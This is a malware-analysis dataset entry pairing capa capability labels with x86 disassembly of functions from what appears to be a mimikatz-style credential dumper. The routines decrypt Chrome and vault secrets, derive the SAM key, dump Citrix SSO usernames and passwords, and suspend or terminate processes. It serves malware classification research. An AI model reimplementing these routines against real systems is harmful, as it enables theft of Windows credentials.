joyce8/EMBER2024-capa huggingface dataset:
Function at 0x471920
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
sub esp, 0x48
push ebx
push ebp
push esi
mov ebx, edx
push edi
mov edi, ecx
cmp ebx, 3
jb 0x471a30
movzx eax, word [edi]
mov ecx, 0x4d0ae0
cmp ax, word [ecx]
jne 0x471a30
movzx eax, byte [edi + 2]
cmp al, byte [ecx + 2]
jne 0x471a30
cmp dword [esp + 0x5c], 0
je 0x471a23
cmp dword [esp + 0x60], 0
je 0x471a23
push str.__using_BCrypt_with_AES_256_GCM_n
call fcn.00409cda
push 0x40
pop ebp
push ebp
xor esi, esi
lea eax, [esp + 0x20]
push esi
push eax
call fcn.0049ee30
lea eax, [edi + 3]
mov dword [esp + 0x28], ebp
mov dword [esp + 0x30], eax
add esp, 0x10
lea eax, [edi - 0x10]
mov dword [esp + 0x1c], 1
add eax, ebx
mov dword [esp + 0x24], 0xc
mov dword [esp + 0x30], eax
lea eax, [ebx - 0x1f]
push eax
push ebp
mov dword [esp + 0x3c], 0x10
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x471a79
push esi
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x24]
push edi
push esi
push esi
push eax
push dword [esp + 0x2c]
mov eax, dword [esp + 0x40]
add eax, dword [esp + 0x44]
push eax
push dword [esp + 0x84]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
js 0x471a13
push edi
push dword [esp + 0x14]
push dword [esp + 0x74]
push str._s:__.S_n
call fcn.00409cda
add esp, 0x10
jmp 0x471a20
push eax
push str.ERROR_kuhl_m_dpapi_chrome_decrypt___BCryptDecrypt:_0x_08x_n
call fcn.00409cda
pop ecx
pop ecx
push edi
jmp 0x471a73
push str.ERROR_kuhl_m_dpapi_chrome_decrypt___No_Alg_and_or_Key_handle_despite_AES_encryption_n
call fcn.00409cda
pop ecx
jmp 0x471a79
xor esi, esi
lea eax, [esp + 0x10]
push esi
push eax
lea eax, [esp + 0x1c]
mov ecx, edi
push eax
push esi
push esi
push dword [esp + 0x7c]
push dword [esp + 0x7c]
push esi
call fcn.004702f2
add esp, 0x20
test eax, eax
je 0x471a79
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [esp + 0x74]
push str._s:__.S_n
call fcn.00409cda
add esp, 0x10
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x48
ret

Function at 0x474076
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x6c
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov ebx, edx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebp, eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
mov esi, 0x5b6
push ebp
push edi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.cryptdll.dll_MD5Update]
sub esi, 1
jne 0x47409a
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
xor ecx, ecx
mov al, byte [ecx + 0x4d0b50]
xor al, byte [esp + ecx + 0x68]
mov byte [ecx + ebx], al
inc ecx
cmp ecx, 0x10
jb 0x4740b9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6c
ret
Function at 0x4740d4
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
push edi
mov edi, ecx
push edi
call ebx
push 0x14
pop esi
cmp eax, esi
jge 0x4740ee
push edi
call ebx
mov esi, eax
lea eax, [esi + 1]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, eax
test edx, edx
je 0x47412a
xor ecx, ecx
test esi, esi
je 0x47412a
mov eax, 0x4d0b20
mov ebx, edx
sub edi, eax
sub ebx, eax
mov al, byte [edi + ecx + 0x4d0b20]
xor al, byte [ecx + 0x4d0b20]
mov byte [ebx + ecx + 0x4d0b20], al
inc ecx
cmp ecx, esi
jb 0x474111
pop edi
pop esi
mov eax, edx
pop ebx
ret
Function at 0x47d180
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
mov ebp, ecx
xor esi, esi
mov dword [esp + 0x1c], ebp
push eax
mov edi, esi
push ebp
mov dword [esp + 0x18], edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ebx, esi
test eax, eax
je 0x47d251
cmp dword [esp + 0x14], ebx
jle 0x47d251
mov ebp, eax
cmp si, 0x13
jae 0x47d21a
movzx edi, si
shl edi, 4
push dword [edi + 0x4d0ee8]
push dword [ebp]
call fcn.004a65ee
xor ebx, ebx
test eax, eax
pop ecx
sete bl
pop ecx
test eax, eax
jne 0x47d20f
mov ecx, dword [edi + 0x4d0ee0]
test ecx, ecx
je 0x47d1fe
lea eax, [ebp + 4]
push eax
mov eax, dword [esp + 0x18]
dec eax
push eax
call ecx
pop ecx
mov edi, eax
pop ecx
mov dword [esp + 0x10], edi
jmp 0x47d213
mov ecx, dword [edi + 0x4d0ee4]
xor eax, eax
push eax
xor edx, edx
call fcn.00408550
pop ecx
mov edi, dword [esp + 0x10]
inc esi
test ebx, ebx
je 0x47d1b7
jmp 0x47d21e
mov edi, dword [esp + 0x10]
mov ebp, dword [esp + 0x1c]
test ebx, ebx
jne 0x47d251
mov ecx, ebp
xor esi, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
cmp ax, si
jne 0x47d22d
sub ecx, edx
mov edx, ebp
sar ecx, 1
lea eax, [ecx*2 + 2]
mov ecx, 0x22c003
push eax
call fcn.00408550
pop ecx
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x47e884
Capabilities:
Encrypt data using rc4 via systemfunction033

Disassembly:
sub esp, 0x94
push ebx
mov ebx, dword [esp + 0xa0]
lea eax, [esp + 0x84]
push ebp
push esi
push edi
push 0x10
mov edi, ecx
mov dword [esp + 0x2c], eax
pop ecx
push str._nSAMKey_:
mov esi, edx
mov dword [esp + 0x24], ecx
xor ebp, ebp
mov dword [esp + 0x28], ecx
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x38], ebx
call fcn.00409cda
pop ecx
push ebp
lea eax, [esp + 0x1c]
mov edx, esi
push eax
push ecx
push 0x4fde78
push ebp
mov ecx, edi
call fcn.0040c41d
add esp, 0x14
test eax, eax
je 0x47ea34
mov ebx, dword [esp + 0x18]
movzx eax, word [ebx]
mov ecx, eax
cmp ecx, 2
jb 0x47ea29
cmp eax, 3
ja 0x47ea29
mov eax, dword [ebx + 0x68]
sub eax, 1
je 0x47e990
sub eax, 1
je 0x47e926
push dword [ebx + 0x68]
push str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_Struct_Key_revision___u_
call fcn.00409cda
pop ecx
pop ecx
jmp 0x47e97d
mov ecx, dword [esp + 0xa8]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
push dword [ebx + 0x74]
lea eax, [ebx + 0x88]
push eax
lea edx, [ebx + 0x78]
call fcn.004040eb
add esp, 0x10
test eax, eax
je 0x47e97d
xor eax, eax
cmp dword [esp + 0x1c], 0x10
sete al
mov dword [esp + 0x14], eax
jne 0x47e96f
mov esi, dword [esp + 0x18]
mov edi, dword [esp + 0xac]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebp, dword [esp + 0x14]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0xac]
jmp 0x47ea3f
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.cryptdll.dll_MD5Init]
mov esi, dword [sym.imp.cryptdll.dll_MD5Update]
lea eax, [ebx + 0x70]
push 0x10
push eax
lea eax, [esp + 0x40]
push eax
call esi
push 0x2f
push str.______qwertyUIOPAzxcvbnmQQQQQQQQQQQQ____
lea eax, [esp + 0x40]
push eax
call esi
push 0x10
push dword [esp + 0xac]
lea eax, [esp + 0x40]
push eax
call esi
push 0x29
push str.0123456789012345678901234567890123456789
lea eax, [esp + 0x40]
push eax
call esi
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.cryptdll.dll_MD5Final]
mov edi, dword [esp + 0xac]
lea esi, [ebx + 0x80]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x30]
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [sym.imp.ADVAPI32.dll_SystemFunction033]
xor ecx, ecx
test eax, eax
setns cl
mov dword [esp + 0x14], ecx
test eax, eax
jns 0x47e979
push str.ERROR_kuhl_m_lsadump_getSamKey___RtlDecryptData2_KO
call fcn.00409cda
pop ecx
jmp 0x47e979
push ecx
push str.ERROR_kuhl_m_lsadump_getSamKey___Unknow_F_revision___hu_
jmp 0x47e91d
push str.ERROR_kuhl_m_lsadump_getSamKey___kull_m_registry_OpenAndQueryWithAlloc_KO
call fcn.00409cda
pop ecx
test ebp, ebp
je 0x47ea50
push 0
push 0x10
pop edx
mov ecx, ebx
call fcn.0040f762
pop ecx
push 0x4c75d0
call fcn.00409cda
pop ecx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x94
ret
Function at 0x48344e
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x88
push ebx
push ebp
push esi
push edi
push 4
pop esi
lea eax, [esp + 0x13]
mov dword [esp + 0x50], esi
mov dword [esp + 0x44], eax
xor ebp, ebp
lea eax, [esp + 0x14]
mov dword [esp + 0x6c], esi
mov dword [esp + 0x60], eax
xor ebx, ebx
inc ebx
mov dword [esp + 0x34], ecx
push 2
pop eax
mov dword [esp + 0x64], eax
mov esi, 0x14c
mov dword [esp + 0x68], eax
mov edi, ebp
xor eax, eax
mov dword [esp + 0x1c], edi
cmp dx, si
mov byte [esp + 0x13], 0xe9
mov edx, 0x5285a4
mov word [esp + 0x14], 0x25ff
setne al
mov word [esp + 0x18], 0x4850
mov dword [esp + 0x70], eax
lea esi, [esp + 0x50]
lea eax, [esp + 0x18]
mov byte [esp + 0x1a], 0xb8
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x38], eax
mov eax, dword [ecx]
mov dword [esp + 0x2c], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x30], eax
mov eax, ebp
mov dword [esp + 0x40], ebp
mov dword [esp + 0x48], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebp
mov dword [esp + 0x5c], ebx
mov dword [esp + 0x74], ebx
mov dword [esp + 0x78], ebp
mov dword [esp + 0x80], 3
mov dword [esp + 0x84], 3
mov dword [esp + 0x88], 4
mov dword [esp + 0x8c], ebp
mov dword [esp + 0x90], ebp
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], edx
mov dword [esp + 0x3c], edx
mov dword [esp + 0x20], eax
cmp eax, 3
jae 0x4835e8
mov ecx, dword [esp + 0x9c]
cmp ecx, dword [esi - 0x10]
jb 0x4835d8
mov ebx, dword [esi]
mov ebp, dword [esi - 4]
add ebx, ebp
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [esp + 0x24], eax
test eax, eax
je 0x4835d0
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x24]
push ebx
call fcn.004092a6
mov edi, dword [esp + 0x28]
pop ecx
test eax, eax
je 0x4835c9
push dword [esi - 8]
push edi
push dword [esi - 0xc]
call fcn.004bec95
add esp, 0xc
test eax, eax
jne 0x4835c9
cmp dword [esi + 4], 0
mov eax, dword [edi + ebp]
je 0x4835a7
add eax, dword [esp + 0x2c]
add eax, ebx
cmp dword [esi + 8], 0
mov dword [esp + 0x1c], eax
je 0x4835c9
push 4
lea edx, [esp + 0x30]
mov dword [esp + 0x30], eax
lea ecx, [esp + 0x3c]
call fcn.004092a6
mov edi, dword [esp + 0x28]
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [esp + 0x20]
mov edi, dword [esp + 0x1c]
inc eax
add esi, 0x1c
mov dword [esp + 0x20], eax
test edi, edi
je 0x48353d
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x88
ret
Function at 0x4887d2
Capabilities:
Terminate process

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x14]
mov esi, 0xc0000225
mov eax, edi
sub eax, 0
je 0x48880c
sub eax, 1
je 0x488800
sub eax, 1
jne 0x4888cb
mov ebx, 0x800
mov ebp, 0x5098e0
jmp 0x488814
mov ebx, 0x800
mov ebp, 0x5098bc
jmp 0x488814
xor ebx, ebx
mov ebp, 0x509894
inc ebx
push 0
lea eax, [esp + 0x18]
push eax
push 0x4fc2c4
call fcn.0040f9a6
add esp, 0xc
test eax, eax
je 0x4888c0
push 0
push 0
push dword [esp + 0x1c]
call fcn.004a85ca
add esp, 0xc
mov dword [esp + 0x14], eax
test eax, eax
je 0x4888c0
push eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x4888ac
sub edi, 0
je 0x488879
sub edi, 1
je 0x488870
sub edi, 1
jne 0x488894
push ebx
call dword [sym.imp.ntdll.dll_NtResumeProcess]
jmp 0x488882
push ebx
call dword [sym.imp.ntdll.dll_NtSuspendProcess]
jmp 0x488882
push 0
push ebx
call dword [sym.imp.ntdll.dll_NtTerminateProcess]
mov esi, eax
test esi, esi
js 0x488894
push dword [esp + 0x14]
push ebp
push str._s_of__u_PID_:_OK___n
jmp 0x48889b
push esi
push ebp
push str.ERROR_kuhl_m_process_genericOperation____s_0x_08x_n
call fcn.00409cda
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4888cb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kuhl_m_process_genericOperation___OpenProcess__0x_08x__n
call fcn.00409cda
pop ecx
jmp 0x4888ca
push str.ERROR_kuhl_m_process_genericOperation___pid___pid:123__is_missing
call fcn.00409cda
pop ecx
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
ret
Function at 0x488b3d
Capabilities:
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov eax, 0x107c
call fcn.004beb80
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov dword [esp + 0x24], 0xc
and dword [esp + 0x28], ebp
lea eax, [esp + 0x40]
push 0x44
push ebp
push eax
mov ebx, edx
mov dword [esp + 0x38], 1
mov esi, ecx
call fcn.0049ee30
and dword [esp + 0x20], ebp
lea edi, [esp + 0x3c]
and dword [esp + 0x24], ebp
xor eax, eax
stosd dword es:[edi], eax
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004a6476
mov edi, eax
add esp, 0x10
mov dword [esp + 0x20], edi
test edi, edi
je 0x488d21
push ebp
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x84]
push eax
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
je 0x488d1a
push ebp
push 1
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
or dword [esp + 0x6c], 0x100
mov eax, dword [esp + 0x7c]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x80], eax
test ebx, ebx
je 0x488c17
push ebp
push ebx
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
test eax, eax
jne 0x488c17
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_process_run_data___CreateEnvironmentBlock__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
jmp 0x488d07
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x44]
push eax
xor eax, eax
push eax
push dword [esp + 0x24]
push 0x8000400
push 1
push eax
push eax
push edi
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
mov ebp, eax
test ebp, ebp
je 0x488ce3
push dword [esp + 0x7c]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
push eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], eax
lea eax, [esp + 0x20]
push eax
push 0x1000
lea eax, [esp + 0x94]
push eax
push dword [esp + 0x24]
call ebx
test eax, eax
je 0x488cc9
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x488cc5
xor edi, edi
test eax, eax
je 0x488ca7
movzx eax, byte [esp + edi + 0x88]
push eax
push 0x4dc880
call fcn.00409cda
inc edi
pop ecx
pop ecx
cmp edi, dword [esp + 0x1c]
jb 0x488c8b
push 0
lea eax, [esp + 0x20]
push eax
push 0x1000
lea eax, [esp + 0x94]
push eax
push dword [esp + 0x24]
call ebx
test eax, eax
jne 0x488c7d
mov edi, dword [esp + 0x20]
push 0xffffffffffffffff
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x34]
call esi
push dword [esp + 0x30]
call esi
jmp 0x488cf6
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_kull_m_process_run_data___CreateProcessAsUser__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
cmp dword [esp + 0x18], 0
je 0x488d07
push dword [esp + 0x18]
call dword [sym.imp.USERENV.dll_DestroyEnvironmentBlock]
push dword [esp + 0x14]
call esi
cmp dword [esp + 0x7c], 0
je 0x488d1a
push dword [esp + 0x7c]
call esi
push edi
call fcn.004a64d5
pop ecx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x107c
ret
Function at 0x48a055
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov dword [esp + 0x24], ecx
and dword [esp + 0x14], ebx
mov ebp, 0xff800000
push 0x32
xor eax, eax
mov dword [esp + 0x24], 0xa
pop edi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], edi
mov edx, dword [esp + 0x30]
push 9
pop ecx
sub ecx, eax
mov eax, dword [esp + 0x2c]
shl ecx, 2
call fcn.004be9f0
and al, 0xf
lea esi, [esp + 0x14]
xor cl, cl
xor ah, ah
mov dl, al
shr dl, cl
and dl, 1
xor byte [esi], dl
xor ah, dl
inc cl
inc esi
cmp cl, 4
jb 0x48a09f
mov byte [esp + 0x13], ah
lea ecx, [edi + 1]
movzx eax, al
cdq
call fcn.004be9d0
mov ecx, dword [esp + 0x18]
mov esi, eax
movzx eax, byte [esp + 0x13]
mov edi, edx
cdq
call fcn.004be9d0
or edi, edx
or esi, eax
mov eax, dword [esp + 0x1c]
or ebp, edi
mov edi, dword [esp + 0x18]
or ebx, esi
inc eax
sub edi, 5
sub dword [esp + 0x20], 1
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], edi
jne 0x48a080
movzx edx, byte [esp + 0x17]
movzx eax, byte [esp + 0x16]
add edx, edx
or edx, eax
mov eax, dword [esp + 0x14]
add edx, edx
movzx ecx, ah
or edx, ecx
movzx eax, al
add edx, edx
or edx, eax
mov eax, dword [esp + 0x24]
pop edi
add edx, edx
pop esi
or ebx, edx
mov dword [eax + 4], ebp
pop ebp
mov dword [eax + 8], ebx
mov dword [eax], 0x148040
pop ebx
add esp, 0x18
ret
Function at 0x48f0ee
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
push str.Microsoft_WinInet_
push dword [esi + 8]
call fcn.0049e790
pop ecx
pop ecx
test eax, eax
je 0x48f17a
mov edx, dword [esi + 0x18]
cmp edx, 0x14
jb 0x48f2ae
mov edi, dword [esi + 0x1c]
mov ebx, 0x4c83d0
xor esi, esi
mov ecx, esi
mov eax, dword [edi + ecx*4 + 4]
cmp eax, dword [ebx + ecx*4]
jne 0x48f2ae
inc ecx
cmp ecx, 4
jne 0x48f124
lea eax, [ebp - 8]
mov dword [ebp - 0x10], edx
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x18]
mov dword [ebp - 0xc], edi
push eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x18], 0x4a
push eax
mov dword [ebp - 0x14], 0x4c7b98
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x48f16f
push str.___CredentialBlob:
jmp 0x48f277
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x48f2a1
push str.AppSense_DataNow_
push dword [esi + 8]
call fcn.0049e790
pop ecx
pop ecx
test eax, eax
je 0x48f2ae
push str._Ivanti_FileDirector_credential_blob__n
call fcn.00409cda
cmp dword [esi + 0x18], 0x14
pop ecx
jb 0x48f2ae
mov edi, dword [esi + 0x1c]
mov edx, str.AppN_DN_Win
xor esi, esi
mov ecx, esi
movzx eax, byte [edx + ecx]
cmp al, byte [edi + ecx]
jne 0x48f2ae
inc ecx
cmp ecx, 0xc
jne 0x48f1b2
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [edi + 0xc], esi
je 0x48f23a
push str.Decrypting_additional_blob_n
call fcn.00409cda
mov eax, dword [edi + 0xc]
pop ecx
mov dword [ebp - 0x10], eax
lea eax, [edi + 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x48f22b
push str.___CredentialBlob:
call fcn.00409cda
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.0040f532
mov dword [esp], 0x4c75d0
call fcn.00409cda
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x48f23a
call ebx
push eax
push str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
cmp dword [edi + 0x10], esi
je 0x48f2ae
push str.Decrypting_additional_blob_n
call fcn.00409cda
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 0xc]
add eax, 0x14
pop ecx
add eax, edi
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x48f29f
push str.___UnkBlob_______:
call fcn.00409cda
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
call fcn.0040f532
mov dword [esp], 0x4c75d0
call fcn.00409cda
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x48f2ae
call ebx
push eax
push str.ERROR_kuhl_m_vault_cred_tryEncrypted___CryptUnprotectData__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x495c85
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
lea eax, [ebp - 4]
mov ebx, ecx
push eax
push dword [edx + 4]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
je 0x495d0a
mov eax, dword [ebp - 4]
push esi
test eax, eax
jle 0x495cf5
xor esi, esi
test eax, eax
jle 0x495cee
push 5
push str._HTC:
push dword [edi + esi*4]
call fcn.004afa4a
add esp, 0xc
test eax, eax
je 0x495ccc
inc esi
cmp esi, dword [ebp - 4]
jl 0x495cae
jmp 0x495cee
mov eax, dword [edi + esi*4]
push 0xa
add eax, 0xa
push 0
push eax
call fcn.004a85ca
add esp, 0xc
mov esi, eax
mov edx, esi
mov ecx, ebx
call fcn.00495d21
test esi, esi
jne 0x495d00
push str.__No_shared_memory__no_SSO_enabled___n
jmp 0x495cfa
push str.ERROR_Citrix_SSO_Program_args___No_command_module_
call fcn.00409cda
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop esi
jmp 0x495d1d
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_Citrix_SSO_Program_args___CommandLineToArgvW__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
pop edi
pop ebx
leave
ret
Function at 0x495d21
Capabilities:
Encode data using xor
Encrypt data using dpapi
Read file via mapping

Disassembly:
push ecx
push ecx
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [esp + 0xc]
push ebx
push ebx
push 4
push eax
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push esi
push edi
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x495e42
push ebp
push 0x61c
push ebx
push ebx
push 4
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebp, eax
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x495e22
push 0x610
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
test ebx, ebx
je 0x495e19
push 1
push 0x610
lea esi, [ebp + 0xc]
mov ecx, 0x184
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.CRYPT32.dll_CryptUnprotectMemory]
test eax, eax
je 0x495dff
mov esi, dword [ebx + 0x400]
lea eax, [ebx + 0x404]
xor edx, edx
mov edi, edx
test esi, esi
je 0x495de0
lea ebp, [ebx + 0x404]
mov cl, byte [edi + ebp]
mov al, cl
xor al, dl
mov dl, cl
xor al, 0x43
mov byte [edi + ebp], al
inc edi
cmp edi, esi
jb 0x495dbd
mov esi, dword [ebx + 0x400]
lea eax, [ebx + 0x404]
mov ebp, dword [esp + 0x14]
push dword [ebx + 0x604]
push eax
push esi
lea eax, [ebx + 0x200]
push eax
push ebx
push str._Username__:__s_n_Domain____:__s_n_Password__:__.s_n_flags_type:_0x_08x_n
call fcn.00409cda
add esp, 0x18
jmp 0x495e12
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_Citrix_SSO_Program_FileMapping___CryptUnprotectMemory__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
push ebp
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
jmp 0x495e35
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_Citrix_SSO_Program_FileMapping___MapViewOfFile__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
jmp 0x495e55
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ERROR_Citrix_SSO_Program_FileMapping___DuplicateHandle__0x_08x__n
call fcn.00409cda
pop ecx
pop ecx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
ret
Function at 0x498772
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 8]
and dword [esp + 8], 0
push ebp
push esi
mov esi, edx
mov ebp, ecx
add eax, esi
xor ecx, ecx
push edi
mov edi, eax
sub edi, esi
cmp esi, eax
cmova edi, ecx
test edi, edi
je 0x4987ef
sub esi, dword [esp + 0x10]
push ebx
movzx edx, byte [ebp + 0x100]
mov bl, byte [edx + ebp]
add byte [ebp + 0x101], bl
movzx eax, byte [ebp + 0x101]
mov cl, byte [eax + ebp]
mov byte [edx + ebp], cl
movzx eax, byte [ebp + 0x101]
movzx ecx, cl
mov byte [eax + ebp], bl
movzx eax, bl
add ecx, eax
movzx eax, cl
mov ecx, dword [esp + 0x14]
mov al, byte [eax + ebp]
xor al, byte [esi + ecx]
inc byte [ebp + 0x100]
mov byte [ecx], al
inc ecx
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], eax
cmp eax, edi
jb 0x498798
pop ebx
pop edi
pop esi
pop ebp
ret